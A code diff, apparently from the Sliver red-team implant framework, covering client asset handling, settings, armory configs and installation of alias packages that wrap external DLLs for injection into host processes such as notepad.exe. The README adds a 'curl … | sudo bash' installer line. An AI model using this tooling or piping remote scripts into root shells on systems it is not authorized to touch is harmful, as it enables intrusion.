+* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+* Windows process migration, process injection, user token manipulation, etc.
 * Let's Encrypt integration
 * In-memory .NET assembly execution
+* COFF/BOF in-memory loader
+* TCP and named pipe pivots
+* Much more!
 
 ### Getting Started
 
 Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
 
+#### Linux One Liner
+
+`curl https://sliver.sh/install|sudo bash` and then run `sliver`
+
 ### Help!
 
 Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
@@ -38,6 +40,11 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
 
 See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
 
+### Feedback
+
+Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
+
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+

client/README.md

@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
 __Important:__ No code in this directory can import any code from `server/`.
 
  * `assets/` - Static asset files and management code (e.g. client configs)
- * `command/` - Command implementations
+ * `cli/` - Command line interface implementation
+ * `command/` - Console command implementations
  * `constants/` - Various shared constant values
  * `core/` - Client state management
- * `help/` - Console help
+ * `licenses/` - Open source licenses 
  * `spin/` - Console spinner library
+ * `tcpproxy/` - Local TCP proxy listener code
  * `transport/` - Wires the client to the server
  * `version/` - Version information
  * `main.go` - Entrypoint

client/assets/.gitignore

@@ -0,0 +1 @@
+fs/**

client/assets/aliases.go

@@ -0,0 +1,65 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"log"
+	"os"
+	"path/filepath"
+)
+
+const (
+	AliasesDirName = "aliases"
+)
+
+// GetAliasesDir - Returns the path to the config dir
+func GetAliasesDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := filepath.Join(rootDir, AliasesDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetInstalledAliasManifests - Returns a list of installed alias manifests
+func GetInstalledAliasManifests() []string {
+	aliasDir := GetAliasesDir()
+	aliasDirContent, err := ioutil.ReadDir(aliasDir)
+	if err != nil {
+		log.Printf("error loading aliases: %s", err)
+		return []string{}
+	}
+	manifests := []string{}
+	for _, fi := range aliasDirContent {
+		if fi.IsDir() {
+			manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
+			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
+				log.Printf("no manifest in %s, skipping ...", manifestPath)
+				continue
+			}
+			manifests = append(manifests, manifestPath)
+		}
+	}
+	return manifests
+}

client/assets/armories.go

@@ -0,0 +1,63 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+)
+
+const (
+	armoryConfigFileName = "armories.json"
+)
+
+var (
+	DefaultArmoryPublicKey string
+	DefaultArmoryRepoURL   string
+
+	defaultArmoryConfig = &ArmoryConfig{
+		PublicKey: DefaultArmoryPublicKey,
+		RepoURL:   DefaultArmoryRepoURL,
+	}
+)
+
+type ArmoryConfig struct {
+	PublicKey string `json:"public_key"`
+	RepoURL   string `json:"repo_url"`
+}
+
+// GetArmoriesConfig - The parsed armory config file
+func GetArmoriesConfig() []*ArmoryConfig {
+	armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
+	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	data, err := ioutil.ReadFile(armoryConfigPath)
+	if err != nil {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	var armoryConfigs []*ArmoryConfig
+	err = json.Unmarshal(data, &armoryConfigs)
+	if err != nil {
+		return []*ArmoryConfig{defaultArmoryConfig}
+	}
+	return append(armoryConfigs, defaultArmoryConfig)
+}

client/assets/assets.go

@@ -19,21 +19,28 @@ package assets
 */
 
 import (
+	"fmt"
+	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
-	"path"
+	"path/filepath"
+	"strings"
+
+	ver "github.com/bishopfox/sliver/client/version"
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
+
+	versionFileName = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
 func GetRootAppDir() string {
 	user, _ := user.Current()
-	dir := path.Join(user.HomeDir, SliverClientDirName)
+	dir := filepath.Join(user.HomeDir, SliverClientDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -42,3 +49,39 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
+
+func assetVersion() string {
+	appDir := GetRootAppDir()
+	data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func saveAssetVersion(appDir string) {
+	versionFilePath := filepath.Join(appDir, versionFileName)
+	fVer, _ := os.Create(versionFilePath)
+	defer fVer.Close()
+	fVer.Write([]byte(ver.GitCommit))
+}
+
+// Setup - Extract or create local assets
+func Setup(force bool, echo bool) {
+	appDir := GetRootAppDir()
+	localVer := assetVersion()
+	if force || localVer == "" || localVer != ver.GitCommit {
+		if echo {
+			fmt.Printf(`
+Sliver  Copyright (C) 2022  Bishop Fox
+This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
+This is free software, and you are welcome to redistribute it
+under certain conditions; type 'licenses' for details.`)
+			fmt.Printf("\n\nUnpacking assets ...\n")
+		}
+		saveAssetVersion(appDir)
+	}
+	if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
+		SaveSettings(nil)
+	}
+}

client/assets/config.go

@@ -40,6 +40,7 @@ type ClientConfig struct {
 	Operator      string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
 	LHost         string `json:"lhost"`
 	LPort         int    `json:"lport"`
+	Token         string `json:"token"`
 	CACertificate string `json:"ca_certificate"`
 	PrivateKey    string `json:"private_key"`
 	Certificate   string `json:"certificate"`
@@ -48,7 +49,7 @@ type ClientConfig struct {
 // GetConfigDir - Returns the path to the config dir
 func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	dir := path.Join(rootDir, ConfigDirName)
+	dir := filepath.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
 		err = os.MkdirAll(dir, 0700)
 		if err != nil {
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
 // ReadConfig - Load config into struct
 func ReadConfig(confFilePath string) (*ClientConfig, error) {
 	confFile, err := os.Open(confFilePath)
-	defer confFile.Close()
 	if err != nil {
 		log.Printf("Open failed %v", err)
 		return nil, err
 	}
+	defer confFile.Close()
 	data, err := ioutil.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 // SaveConfig - Save a config to disk
 func SaveConfig(config *ClientConfig) error {
 	if config.LHost == "" || config.Operator == "" {
-		return errors.New("Empty config")
+		return errors.New("empty config")
 	}
 	configDir := GetConfigDir()
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
-	saveTo, _ := filepath.Abs(path.Join(configDir, filename))
+	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
 	err := ioutil.WriteFile(saveTo, configJSON, 0600)
 	if err != nil {

client/assets/extensions.go

@@ -0,0 +1,66 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io/ioutil"
+	"log"
+	"os"
+	"path/filepath"
+)
+
+const (
+	// ExtensionsDirName - Directory storing the client side extensions
+	ExtensionsDirName = "extensions"
+)
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	dir := filepath.Join(rootDir, ExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+// GetInstalledExtensionManifests - Returns a list of installed extension manifests
+func GetInstalledExtensionManifests() []string {
+	extDir := GetExtensionsDir()
+	extDirContent, err := ioutil.ReadDir(extDir)
+	if err != nil {
+		log.Printf("error loading aliases: %s", err)
+		return []string{}
+	}
+	manifests := []string{}
+	for _, fi := range extDirContent {
+		if fi.IsDir() {
+			manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
+			if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
+				log.Printf("no manifest in %s, skipping ...", manifestPath)
+				continue
+			}
+			manifests = append(manifests, manifestPath)
+		}
+	}
+	return manifests
+}

client/assets/settings.go

@@ -0,0 +1,77 @@
+package assets
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"io/ioutil"
+	"path/filepath"
+)
+
+const (
+	settingsFileName = "tui-settings.json"
+)
+
+// ClientSettings - Client JSON config
+type ClientSettings struct {
+	TableStyle        string `json:"tables"`
+	AutoAdult         bool   `json:"autoadult"`
+	BeaconAutoResults bool   `json:"beacon_autoresults"`
+	SmallTermWidth    int    `json:"small_term_width"`
+	AlwaysOverflow    bool   `json:"always_overflow"`
+}
+
+// LoadSettings - Load the client settings from disk
+func LoadSettings() (*ClientSettings, error) {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
+	if err != nil {
+		return defaultSettings(), err
+	}
+	settings := defaultSettings()
+	err = json.Unmarshal(data, settings)
+	if err != nil {
+		return defaultSettings(), err
+	}
+	return settings, nil
+}
+
+func defaultSettings() *ClientSettings {
+	return &ClientSettings{
+		TableStyle:        "SliverDefault",
+		AutoAdult:         false,
+		BeaconAutoResults: true,
+		SmallTermWidth:    170,
+		AlwaysOverflow:    false,
+	}
+}
+
+// SaveSettings - Save the current settings to disk
+func SaveSettings(settings *ClientSettings) error {
+	rootDir, _ := filepath.Abs(GetRootAppDir())
+	if settings == nil {
+		settings = defaultSettings()
+	}
+	data, err := json.MarshalIndent(settings, "", "  ")
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
+	return err
+}

client/cli/cli.go

@@ -25,7 +25,9 @@ import (
 	"path"
 
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/transport"
 	"github.com/bishopfox/sliver/client/version"
 
 	"github.com/spf13/cobra"
@@ -69,13 +71,35 @@ var rootCmd = &cobra.Command{
 		defer logFile.Close()
 
 		os.Args = os.Args[:1] // Stops grumble from complaining
-		err := console.StartClientConsole()
+		err := StartClientConsole()
 		if err != nil {
 			fmt.Printf("[!] %s\n", err)
 		}
 	},
 }
 
+// StartClientConsole - Start the client console
+func StartClientConsole() error {
+	configs := assets.GetConfigs()
+	if len(configs) == 0 {
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
+		return nil
+	}
+	config := selectConfig()
+	if config == nil {
+		return nil
+	}
+
+	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+	rpc, ln, err := transport.MTLSConnect(config)
+	if err != nil {
+		fmt.Printf("Connection to server failed %s", err)
+		return nil
+	}
+	defer ln.Close()
+	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
+}
+
 // Execute - Execute root command
 func Execute() {
 	if err := rootCmd.Execute(); err != nil {

client/cli/config.go

@@ -1,4 +1,4 @@
-package console
+package cli
 
 /*
 	Sliver Implant Framework

client/command/README.md

@@ -2,3 +2,13 @@ Command
 =======
 
 This package contains all of the client command implementations that are shared between the client and the server console.
+
+### Developers
+
+General guidance on the structure of this package:
+ * One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
+ * The root command, and reused code should go into the file named after the command
+   * For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
+ * Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
+   * Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
+ * Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.

client/command/alias/README.md

@@ -0,0 +1,11 @@
+Alias
+===========
+
+Wraps external DLLs/tool in Sliver console commands.
+
+
+
+### Format
+
+* `alias-dir/`
+* * `manifest.json` - 

client/command/alias/alias.go

@@ -0,0 +1,126 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// AliasesCmd - The alias command
+func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if 0 < len(loadedAliases) {
+		PrintAliases(con)
+	} else {
+		con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
+	}
+}
+
+// PrintAliases - Print a list of loaded aliases
+func PrintAliases(con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Name",
+		"Command Name",
+		"Platforms",
+		"Version",
+		"Installed",
+		".NET Assembly",
+		"Reflective",
+		"Tool Author",
+		"Repository",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Name", Mode: table.Asc},
+	})
+	tw.SetColumnConfigs([]table.ColumnConfig{
+		{Number: 5, Align: text.AlignCenter},
+	})
+
+	installedManifests := getInstalledManifests()
+	for _, aliasPkg := range loadedAliases {
+		installed := ""
+		if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
+			installed = "✅"
+		}
+		tw.AppendRow(table.Row{
+			aliasPkg.Manifest.Name,
+			aliasPkg.Manifest.CommandName,
+			strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
+			aliasPkg.Manifest.Version,
+			installed,
+			aliasPkg.Manifest.IsAssembly,
+			aliasPkg.Manifest.IsReflective,
+			aliasPkg.Manifest.OriginalAuthor,
+			aliasPkg.Manifest.RepoURL,
+		})
+	}
+	con.Println(tw.Render())
+}
+
+// AliasCommandNameCompleter - Completer for installed extensions command names
+func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
+	results := []string{}
+	for name := range loadedAliases {
+		if strings.HasPrefix(name, prefix) {
+			results = append(results, name)
+		}
+	}
+	return results
+}
+
+func aliasPlatforms(aliasPkg *AliasManifest) []string {
+	platforms := map[string]string{}
+	for _, entry := range aliasPkg.Files {
+		platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
+	}
+	keys := []string{}
+	for key := range platforms {
+		keys = append(keys, key)
+	}
+	return keys
+}
+
+func getInstalledManifests() map[string]*AliasManifest {
+	manifestPaths := assets.GetInstalledAliasManifests()
+	installedManifests := map[string]*AliasManifest{}
+	for _, manifestPath := range manifestPaths {
+		data, err := ioutil.ReadFile(manifestPath)
+		if err != nil {
+			continue
+		}
+		manifest := &AliasManifest{}
+		err = json.Unmarshal(data, manifest)
+		if err != nil {
+			continue
+		}
+		installedManifests[manifest.CommandName] = manifest
+	}
+	return installedManifests
+}

client/command/alias/alias_test.go

@@ -0,0 +1,90 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import "testing"
+
+const (
+	sample1 = `{
+	"name": "test1",
+	"command_name": "test1",
+	"version": "1.0.0",
+	"repo_url": "https://example.com/",
+	"help": "some help",
+	"entrypoint": "foo",
+	"allow_args": true,
+	"default_args": "bar",
+	"is_reflective": true,
+	"is_assembly": true,
+	"files": [
+		{
+			"os": "windows",
+			"arch": "amd64",
+			"path": "foo/test1.dll"
+		}
+	]
+}`
+)
+
+func TestParseAliasManifest(t *testing.T) {
+	alias1, err := ParseAliasManifest([]byte(sample1))
+	if err != nil {
+		t.Errorf("Error parsing alias manifest: %s", err)
+	}
+
+	if alias1.Name != "test1" {
+		t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
+	}
+
+	if alias1.CommandName != "test1" {
+		t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
+	}
+
+	if alias1.Version != "1.0.0" {
+		t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
+	}
+
+	if alias1.RepoURL != "https://example.com/" {
+		t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
+	}
+
+	if alias1.Help != "some help" {
+		t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
+	}
+
+	if alias1.Entrypoint != "foo" {
+		t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
+	}
+
+	if !alias1.AllowArgs {
+		t.Errorf("Expected allow_args to be true, got false")
+	}
+
+	if alias1.DefaultArgs != "bar" {
+		t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
+	}
+
+	if !alias1.IsReflective {
+		t.Errorf("Expected is_reflective to be true, got false")
+	}
+
+	if !alias1.IsAssembly {
+		t.Errorf("Expected is_assembly to be true, got false")
+	}
+}

client/command/alias/install.go

@@ -0,0 +1,178 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+)
+
+// AliasesInstallCmd - Install an alias
+func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	aliasLocalPath := ctx.Args.String("path")
+	fi, err := os.Stat(aliasLocalPath)
+	if os.IsNotExist(err) {
+		con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
+		return
+	}
+	if !fi.IsDir() {
+		InstallFromFile(aliasLocalPath, false, con)
+	} else {
+		installFromDir(aliasLocalPath, con)
+	}
+}
+
+// Install an extension from a directory
+func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
+	manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
+		return
+	}
+	manifest, err := ParseAliasManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
+		return
+	}
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		con.PrintInfof("Alias '%s' already exists", manifest.Name)
+		confirm := false
+		prompt := &survey.Confirm{Message: "Overwrite current install?"}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nError creating alias directory: %s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return
+	}
+
+	for _, cmdFile := range manifest.Files {
+		if cmdFile.Path != "" {
+			src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
+			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
+			err := util.CopyFile(src, dst)
+			if err != nil {
+				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
+				forceRemoveAll(installPath)
+				return
+			}
+		}
+	}
+
+	con.Printf("done!\n")
+}
+
+// Install an extension from a .tar.gz file
+func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
+	manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
+	if err != nil {
+		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
+		return nil
+	}
+	manifest, err := ParseAliasManifest(manifestData)
+	if err != nil {
+		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
+		return nil
+	}
+	installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
+	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
+		if !autoOverwrite {
+			con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current install?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil
+			}
+		}
+		forceRemoveAll(installPath)
+	}
+
+	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
+	err = os.MkdirAll(installPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
+		return nil
+	}
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(installPath)
+		return nil
+	}
+	for _, aliasFile := range manifest.Files {
+		if aliasFile.Path != "" {
+			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
+			if err != nil {
+				con.PrintErrorf("\nFailed to install file: %s\n", err)
+				forceRemoveAll(installPath)
+				return nil
+			}
+		}
+	}
+	con.Printf("done!\n")
+	return &installPath
+}
+
+func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
+	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
+	if err != nil {
+		return err
+	}
+	if len(data) == 0 {
+		return fmt.Errorf("empty file %s", artifactPath)
+	}
+	localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
+	artifactDir := filepath.Dir(localArtifactPath)
+	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+		os.MkdirAll(artifactDir, 0o700)
+	}
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func forceRemoveAll(rootPath string) {
+	util.ChmodR(rootPath, 0o600, 0o700)
+	os.RemoveAll(rootPath)
+}

client/command/alias/load.go

@@ -0,0 +1,445 @@
+package alias
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+const (
+	defaultTimeout = 60
+
+	ManifestFileName = "alias.json"
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var (
+	// alias name -> manifest/command
+	loadedAliases = map[string]*loadedAlias{}
+
+	defaultHostProc = map[string]string{
+		"windows": windowsDefaultHostProc,
+		"linux":   windowsDefaultHostProc,
+		"darwin":  macosDefaultHostProc,
+	}
+)
+
+// Ties the manifest struct to the command struct
+type loadedAlias struct {
+	Manifest *AliasManifest
+	Command  *grumble.Command
+}
+
+// AliasFile - An OS/Arch specific file
+type AliasFile struct {
+	OS   string `json:"os"`
+	Arch string `json:"arch"`
+	Path string `json:"path"`
+}
+
+// AliasManifest - The manifest for an alias, contains metadata
+type AliasManifest struct {
+	Name           string `json:"name"`
+	Version        string `json:"version"`
+	CommandName    string `json:"command_name"`
+	OriginalAuthor string `json:"original_author"`
+	RepoURL        string `json:"repo_url"`
+	Help           string `json:"help"`
+	LongHelp       string `json:"long_help"`
+
+	Entrypoint   string       `json:"entrypoint"`
+	AllowArgs    bool         `json:"allow_args"`
+	DefaultArgs  string       `json:"default_args"`
+	Files        []*AliasFile `json:"files"`
+	IsReflective bool         `json:"is_reflective"`
+	IsAssembly   bool         `json:"is_assembly"`
+
+	RootPath string `json:"-"`
+}
+
